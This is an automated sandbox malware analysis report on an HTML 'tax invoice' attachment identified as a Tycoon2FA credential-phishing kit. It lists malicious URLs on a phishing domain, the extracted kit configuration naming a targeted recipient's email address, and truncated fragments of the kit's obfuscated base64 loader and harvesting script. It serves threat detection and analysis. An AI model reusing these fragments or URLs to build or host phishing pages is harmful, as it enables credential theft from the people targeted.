Create Interactive Tour

Windows Analysis Report
41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html

Overview

General Information

Sample name:	41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html
Analysis ID:	1640115
MD5:	8b07fdf035e0c291d91099165dae8609
SHA1:	d99d8ec42e479773b54ed938f7685607f1a6e37b
SHA256:	d9a194aeab841f7836463963030de09895cb2dfe1c89fdbff0d8706e941bce4f
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Found malware configuration

HTML file submission requesting Cloudflare captcha challenge

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML document with suspicious name

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6580 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2028,i,78514064142117862,2226419077680103547,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "xPE4",
  "emailcheck": "admin.invoices@bluewatersps.com.au",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/yrYUoo74f9fWrLBIcyK5uxWwgdKJhOGH5YbaKKrgLiygb"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_117	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
0.1.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.11..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.6..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.16.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.1.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.0.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.19..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 19 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Data Obfuscation
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://2y.osejonco.ru/GDSherpa-regular.woff2	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/wxbNKRcHVCXKWWRT7M8NqnmjopxHCiJhJtlMUAvB5CdgkudYxaejab180	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/ab0fLnPpqMj9Kef24	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/GDSherpa-regular.woff	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/mn1qTi42BOQqHIWIbTjzsdQVcklH8C6r9gf6A6R90144	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/ij36edXDIVEZ1IkFpjlRArGXnqtVKT3mgw89eXKrMQwV4y50SCzXCSTtuUab230	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/347WeLicXabmKi8920	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/favicon.ico	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/GDSherpa-bold.woff	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/wxtr96E0UQXYubQXEopBx2VlaFgro4g97HGu12122	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/hko7ycdtxaFw8rtrjRuWyBv2CM6bIs0vVjXYlxq0qb92im	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/uv1sT1CTjzraD3Hdexj7YzMEz5uSMAJ0QDNwA8KcfGmnpiyBZ2tEqbSAdyBffIfzef260	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/GDSherpa-vf2.woff2	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/klwx5cFAcAqfdQp3WkgEUThdmWiDzDn2GiJCqq56jRSXRX1N2xd7gfxEFlIp3lwgSsJmwx220	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/op3KLTBhTbgEdCmZ7JNfQl1y5GU9xYTcRTmbZnkfmeghZFCJqrbSs4oznfvPk9nef200	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/ijL2Jyg9U2Cta71dIExzqwsr3Hbd0phobxjMcdIdbCejuCF17A6XlDgWoruHXGZM78170	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/qr3KwGz8WpWW6BGLqjBcrkzD6fvvfef0XuWdfxyQqg0w67140	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/yrYUoo74f9fWrLBIcyK5uxWwgdKJhOGH5YbaKKrgLiygb	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/ghAgM8pQbgeY39sLvNM3QdVigIfxyUyJ4T3dbGJ3vdGJjth12210	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/opgiTdFktHPmjU81RG6ZQtrrPTiXYgG1ANhYfqGSoYrDXCPuvVWhHPaNO5NSWrUNwkVj3bukcd240	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/GDSherpa-bold.woff2	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/34XY6uqR8M2Zn7bR2adFTax5rnMwghoXvnLC2fek67103	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/GDSherpa-vf.woff2	Avira URL Cloud: Label: malware
Source: https://2y.osejonco.ru/zcPXmirUKpDnF5fS6FWzlptiNfDDIwgyTrsWwWW1MfzVELBijy	Avira URL Cloud: Label: malware

Found malware configuration

Source: 1.16.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "xPE4", "emailcheck": "admin.invoices@bluewatersps.com.au", "webname": "rtrim(/web9/, '/')", "urlo": "/yrYUoo74f9fWrLBIcyK5uxWwgdKJhOGH5YbaKKrgLiygb"}

Phishing

AI detected phishing page

Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL '2y.osejonco.ru' does not match the legitimate domain for Microsoft., The domain 'osejonco.ru' is unrelated to Microsoft and uses a Russian domain extension, which is unusual for a Microsoft-related site., The presence of a subdomain '2y' and the unrelated main domain 'osejonco.ru' are suspicious., The email address provided is not associated with Microsoft, further indicating potential phishing. DOM: 1.3.pages.csv
Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL '2y.osejonco.ru' does not match the legitimate domain for Microsoft., The domain 'osejonco.ru' is unrelated to Microsoft and uses a Russian domain extension, which is unusual for a Microsoft-related site., The presence of a subdomain '2y' and the unrelated main domain 'osejonco.ru' are suspicious., The email domain 'bluewatersp.com.au' is unrelated to Microsoft, adding to the suspicion. DOM: 1.4.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 1.19..script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_117, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.16.d.script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 0.9.d.script.csv, type: HTML
Source: Yara match	File source: 0.6..script.csv, type: HTML
Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting browser automation tools, blocking keyboard shortcuts and right-click functionality, and using a debugger trap to redirect the user to an unrelated website. These behaviors indicate a highly suspicious and potentially malicious script that should be treated with caution.
Source: 0.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bl... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The script appears to be attempting to execute a malicious payload by decoding and executing a heavily obfuscated string. This is a clear indication of a potentially malicious script that should be blocked or further investigated.
Source: 0.9.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, preventing right-click context menus, and using a debugger-based technique to redirect the user to an external website. These behaviors indicate a highly suspicious and potentially malicious script that should be treated with caution.
Source: 0.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bl... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code and the presence of a debugger-based timing attack further increase the risk. Overall, this script exhibits a high level of malicious intent and should be considered a significant security threat.
Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdp... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, blocks common keyboard shortcuts, and forces a redirect to an external domain. Additionally, it prevents the user from copying text from the page. These behaviors are highly suspicious and indicate potential malicious intent, warranting a high-risk score.
Source: 1.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdp... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools, redirects to a blank page, and intercepts keyboard and context menu events to potentially prevent user interaction. Additionally, it includes a function that performs a time-based check and redirects the user to an external website. These behaviors are highly suspicious and indicate a potentially malicious script.
Source: 0.1.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution through the use of `eval()` and potential data exfiltration by sending user data to external domains. The heavy obfuscation of the code and URLs further increases the risk. Overall, this script exhibits a high level of suspicious and potentially malicious activity.

Detected javascript redirector / loader

Source: 41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html

HTTP Parser: Low number of body elements: 0

Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI

HTTP Parser: Number of links: 0

Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.au

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Graphic Card Web Template</title> <style> body { font-family: 'Montserrat', sa...

Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI

HTTP Parser: Title: Enter Your Secure Login does not match URL

Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	HTTP Parser: Invalid link: Terms of use
Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	HTTP Parser: Invalid link: Privacy & cookies
Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	HTTP Parser: Invalid link: Terms of use
Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	HTTP Parser: Invalid link: Privacy & cookies

Source: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.au	HTTP Parser: function cznoljsmqg(){oxubjlzxve = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+r3jhcghpyybdyxjkifdlyibuzw1wbgf0ztwvdgl0bgu+ciagica8c3r5bgu+ciagicagicagym9kesb7ciagicagicagicagigzvbnqtzmftawx5oiantw9udhnlcnjhdccsihnhbnmtc2vyawy7ciagicagicagicagigjhy2tncm91bmqty29sb3i6icmxytfhmmu7ciagicagicagicagignvbg9yoiajztblmguwowogicagicagicagicbtyxjnaw46ida7ciagicagicagicagihbhzgrpbmc6ida7ciagicagicagicagigxpbmutagvpz2h0oiaxljy7ciagicagicagfqogicagicagighlywrlcib7ciagicagicagicagigjhy2tncm91bmqty29sb3i6icmxnjixm2u7ciagicagicagicagihbhzgrpbmc6idmwchg7ciagicagicagicagihrlehqtywxpz246ignlbnrlcjskicagicagicagicagym9yzgvylwjvdhrvbtogm3b4ihnvbglkicnlotq1nja7ciagicagicagfqogicagicagighlywrlcibomsb7ciagicagicagicagig1hcmdpbjogmdskicagicagicagicagzm9udc1zaxploia0mnb4owogicagicagicagicbjb2xvcjogi2u5ndu2mdskicagicagicagicagdgv4dc10cmfuc2zvcm06ihvwcgvyy2fzztskicagicagi...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "xpe4";var emailcheck = "admin.invoices@bluewatersps.com.au";var webname = "rtrim(/web9/, '/')";var urlo = "/yryuoo74f9fwrlbicyk5uxwwgdkjhogh5ybakkrgliygb";var gdf = "/ijsw94u3jjmpzgma8psppxlsgfrwxxf0p8efsm4seympcd116";var odf = "/ijnbzqsq13diuu3lxhhhqzjwxxywl2ssjdltevcd650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(use...

Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI

HTTP Parser: <input type="password" .../> found

Source: 41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html	HTTP Parser: No favicon
Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	HTTP Parser: No favicon
Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	HTTP Parser: No favicon

Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	HTTP Parser: No <meta name="author".. found
Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	HTTP Parser: No <meta name="author".. found

Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	HTTP Parser: No <meta name="copyright".. found
Source: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.84.165:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.165:443 -> 192.168.2.16:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.132:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.165:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.195.61:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.16:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.16:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.16:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.16:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49792 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.26.1.100 104.26.1.100

Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.129
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.129
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /r0lfuHO4/$admin.invoices@bluewatersps.com.au HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
